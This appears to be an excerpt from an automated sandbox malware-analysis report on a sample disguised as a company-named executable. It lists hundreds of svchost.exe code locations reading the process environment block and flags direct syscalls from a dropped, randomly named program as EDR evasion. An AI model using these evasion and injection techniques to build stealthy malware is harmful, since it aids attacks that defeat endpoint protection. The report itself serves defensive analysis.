                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938550 mov eax, dword ptr fs:[00000030h]1_2_03938550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396656A mov eax, dword ptr fs:[00000030h]1_2_0396656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396656A mov eax, dword ptr fs:[00000030h]1_2_0396656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396656A mov eax, dword ptr fs:[00000030h]1_2_0396656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EA49A mov eax, dword ptr fs:[00000030h]1_2_039EA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039644B0 mov ecx, dword ptr fs:[00000030h]1_2_039644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BA4B0 mov eax, dword ptr fs:[00000030h]1_2_039BA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039364AB mov eax, dword ptr fs:[00000030h]1_2_039364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039304E5 mov ecx, dword ptr fs:[00000030h]1_2_039304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03968402 mov eax, dword ptr fs:[00000030h]1_2_03968402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03968402 mov eax, dword ptr fs:[00000030h]1_2_03968402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03968402 mov eax, dword ptr fs:[00000030h]1_2_03968402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392E420 mov eax, dword ptr fs:[00000030h]1_2_0392E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392E420 mov eax, dword ptr fs:[00000030h]1_2_0392E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392E420 mov eax, dword ptr fs:[00000030h]1_2_0392E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392C427 mov eax, dword ptr fs:[00000030h]1_2_0392C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]1_2_039B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]1_2_039B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]1_2_039B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]1_2_039B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]1_2_039B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]1_2_039B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]1_2_039B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EA456 mov eax, dword ptr fs:[00000030h]1_2_039EA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392645D mov eax, dword ptr fs:[00000030h]1_2_0392645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395245A mov eax, dword ptr fs:[00000030h]1_2_0395245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]1_2_0396E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395A470 mov eax, dword ptr fs:[00000030h]1_2_0395A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395A470 mov eax, dword ptr fs:[00000030h]1_2_0395A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395A470 mov eax, dword ptr fs:[00000030h]1_2_0395A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BC460 mov ecx, dword ptr fs:[00000030h]1_2_039BC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940BBE mov eax, dword ptr fs:[00000030h]1_2_03940BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940BBE mov eax, dword ptr fs:[00000030h]1_2_03940BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E4BB0 mov eax, dword ptr fs:[00000030h]1_2_039E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E4BB0 mov eax, dword ptr fs:[00000030h]1_2_039E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DEBD0 mov eax, dword ptr fs:[00000030h]1_2_039DEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03950BCB mov eax, dword ptr fs:[00000030h]1_2_03950BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03950BCB mov eax, dword ptr fs:[00000030h]1_2_03950BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03950BCB mov eax, dword ptr fs:[00000030h]1_2_03950BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930BCD mov eax, dword ptr fs:[00000030h]1_2_03930BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930BCD mov eax, dword ptr fs:[00000030h]1_2_03930BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930BCD mov eax, dword ptr fs:[00000030h]1_2_03930BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938BF0 mov eax, dword ptr fs:[00000030h]1_2_03938BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938BF0 mov eax, dword ptr fs:[00000030h]1_2_03938BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938BF0 mov eax, dword ptr fs:[00000030h]1_2_03938BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395EBFC mov eax, dword ptr fs:[00000030h]1_2_0395EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BCBF0 mov eax, dword ptr fs:[00000030h]1_2_039BCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]1_2_039AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04B00 mov eax, dword ptr fs:[00000030h]1_2_03A04B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395EB20 mov eax, dword ptr fs:[00000030h]1_2_0395EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395EB20 mov eax, dword ptr fs:[00000030h]1_2_0395EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F8B28 mov eax, dword ptr fs:[00000030h]1_2_039F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F8B28 mov eax, dword ptr fs:[00000030h]1_2_039F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03928B50 mov eax, dword ptr fs:[00000030h]1_2_03928B50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DEB50 mov eax, dword ptr fs:[00000030h]1_2_039DEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E4B4B mov eax, dword ptr fs:[00000030h]1_2_039E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E4B4B mov eax, dword ptr fs:[00000030h]1_2_039E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C6B40 mov eax, dword ptr fs:[00000030h]1_2_039C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C6B40 mov eax, dword ptr fs:[00000030h]1_2_039C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FAB40 mov eax, dword ptr fs:[00000030h]1_2_039FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D8B42 mov eax, dword ptr fs:[00000030h]1_2_039D8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392CB7E mov eax, dword ptr fs:[00000030h]1_2_0392CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]1_2_03A02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]1_2_03A02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]1_2_03A02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]1_2_03A02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03968A90 mov edx, dword ptr fs:[00000030h]1_2_03968A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]1_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04A80 mov eax, dword ptr fs:[00000030h]1_2_03A04A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938AA0 mov eax, dword ptr fs:[00000030h]1_2_03938AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938AA0 mov eax, dword ptr fs:[00000030h]1_2_03938AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03986AA4 mov eax, dword ptr fs:[00000030h]1_2_03986AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930AD0 mov eax, dword ptr fs:[00000030h]1_2_03930AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03964AD0 mov eax, dword ptr fs:[00000030h]1_2_03964AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03964AD0 mov eax, dword ptr fs:[00000030h]1_2_03964AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03986ACC mov eax, dword ptr fs:[00000030h]1_2_03986ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03986ACC mov eax, dword ptr fs:[00000030h]1_2_03986ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03986ACC mov eax, dword ptr fs:[00000030h]1_2_03986ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396AAEE mov eax, dword ptr fs:[00000030h]1_2_0396AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396AAEE mov eax, dword ptr fs:[00000030h]1_2_0396AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BCA11 mov eax, dword ptr fs:[00000030h]1_2_039BCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03954A35 mov eax, dword ptr fs:[00000030h]1_2_03954A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03954A35 mov eax, dword ptr fs:[00000030h]1_2_03954A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396CA24 mov eax, dword ptr fs:[00000030h]1_2_0396CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395EA2E mov eax, dword ptr fs:[00000030h]1_2_0395EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]1_2_03936A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]1_2_03936A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]1_2_03936A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]1_2_03936A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]1_2_03936A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]1_2_03936A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]1_2_03936A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940A5B mov eax, dword ptr fs:[00000030h]1_2_03940A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940A5B mov eax, dword ptr fs:[00000030h]1_2_03940A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039ACA72 mov eax, dword ptr fs:[00000030h]1_2_039ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039ACA72 mov eax, dword ptr fs:[00000030h]1_2_039ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396CA6F mov eax, dword ptr fs:[00000030h]1_2_0396CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396CA6F mov eax, dword ptr fs:[00000030h]1_2_0396CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396CA6F mov eax, dword ptr fs:[00000030h]1_2_0396CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DEA60 mov eax, dword ptr fs:[00000030h]1_2_039DEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B89B3 mov esi, dword ptr fs:[00000030h]1_2_039B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B89B3 mov eax, dword ptr fs:[00000030h]1_2_039B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B89B3 mov eax, dword ptr fs:[00000030h]1_2_039B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]1_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039309AD mov eax, dword ptr fs:[00000030h]1_2_039309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039309AD mov eax, dword ptr fs:[00000030h]1_2_039309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]1_2_0393A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]1_2_0393A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]1_2_0393A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]1_2_0393A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]1_2_0393A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]1_2_0393A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039649D0 mov eax, dword ptr fs:[00000030h]1_2_039649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FA9D3 mov eax, dword ptr fs:[00000030h]1_2_039FA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C69C0 mov eax, dword ptr fs:[00000030h]1_2_039C69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039629F9 mov eax, dword ptr fs:[00000030h]1_2_039629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039629F9 mov eax, dword ptr fs:[00000030h]1_2_039629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BE9E0 mov eax, dword ptr fs:[00000030h]1_2_039BE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BC912 mov eax, dword ptr fs:[00000030h]1_2_039BC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03928918 mov eax, dword ptr fs:[00000030h]1_2_03928918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03928918 mov eax, dword ptr fs:[00000030h]1_2_03928918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE908 mov eax, dword ptr fs:[00000030h]1_2_039AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE908 mov eax, dword ptr fs:[00000030h]1_2_039AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B892A mov eax, dword ptr fs:[00000030h]1_2_039B892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C892B mov eax, dword ptr fs:[00000030h]1_2_039C892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B0946 mov eax, dword ptr fs:[00000030h]1_2_039B0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04940 mov eax, dword ptr fs:[00000030h]1_2_03A04940
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D4978 mov eax, dword ptr fs:[00000030h]1_2_039D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D4978 mov eax, dword ptr fs:[00000030h]1_2_039D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BC97C mov eax, dword ptr fs:[00000030h]1_2_039BC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03956962 mov eax, dword ptr fs:[00000030h]1_2_03956962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03956962 mov eax, dword ptr fs:[00000030h]1_2_03956962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03956962 mov eax, dword ptr fs:[00000030h]1_2_03956962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0397096E mov eax, dword ptr fs:[00000030h]1_2_0397096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0397096E mov edx, dword ptr fs:[00000030h]1_2_0397096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0397096E mov eax, dword ptr fs:[00000030h]1_2_0397096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BC89D mov eax, dword ptr fs:[00000030h]1_2_039BC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930887 mov eax, dword ptr fs:[00000030h]1_2_03930887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E8C0 mov eax, dword ptr fs:[00000030h]1_2_0395E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A008C0 mov eax, dword ptr fs:[00000030h]1_2_03A008C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C8F9 mov eax, dword ptr fs:[00000030h]1_2_0396C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C8F9 mov eax, dword ptr fs:[00000030h]1_2_0396C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FA8E4 mov eax, dword ptr fs:[00000030h]1_2_039FA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BC810 mov eax, dword ptr fs:[00000030h]1_2_039BC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03952835 mov eax, dword ptr fs:[00000030h]1_2_03952835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03952835 mov eax, dword ptr fs:[00000030h]1_2_03952835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03952835 mov eax, dword ptr fs:[00000030h]1_2_03952835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03952835 mov ecx, dword ptr fs:[00000030h]1_2_03952835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03952835 mov eax, dword ptr fs:[00000030h]1_2_03952835
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007880A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,0_2_007880A9
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0075A155
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075A124 SetUnhandledExceptionFilter,0_2_0075A124

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtWriteVirtualMemory: Direct from: 0x76F0490CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtAllocateVirtualMemory: Direct from: 0x76F03C9CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtClose: Direct from: 0x76F02B6C
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtCreateKey: Direct from: 0x76F02C6CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtReadVirtualMemory: Direct from: 0x76F02E8CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtSetInformationThread: Direct from: 0x76F02B4CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtQueryAttributesFile: Direct from: 0x76F02E6CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtAllocateVirtualMemory: Direct from: 0x76F048ECJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtQuerySystemInformation: Direct from: 0x76F048CCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtQueryVolumeInformationFile: Direct from: 0x76F02F2CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtOpenSection: Direct from: 0x76F02E0CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtSetInformationThread: Direct from: 0x76EF63F9Jump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtDeviceIoControlFile: Direct from: 0x76F02AECJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtAllocateVirtualMemory: Direct from: 0x76F02BECJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtCreateFile: Direct from: 0x76F02FECJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtOpenFile: Direct from: 0x76F02DCCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtQueryInformationToken: Direct from: 0x76F02CACJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtTerminateThread: Direct from: 0x76F02FCCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtProtectVirtualMemory: Direct from: 0x76EF7B2EJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtOpenKeyEx: Direct from: 0x76F02B9CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtProtectVirtualMemory: Direct from: 0x76F02F9CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtSetInformationProcess: Direct from: 0x76F02C5CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtNotifyChangeKey: Direct from: 0x76F03C2CJump to behavior
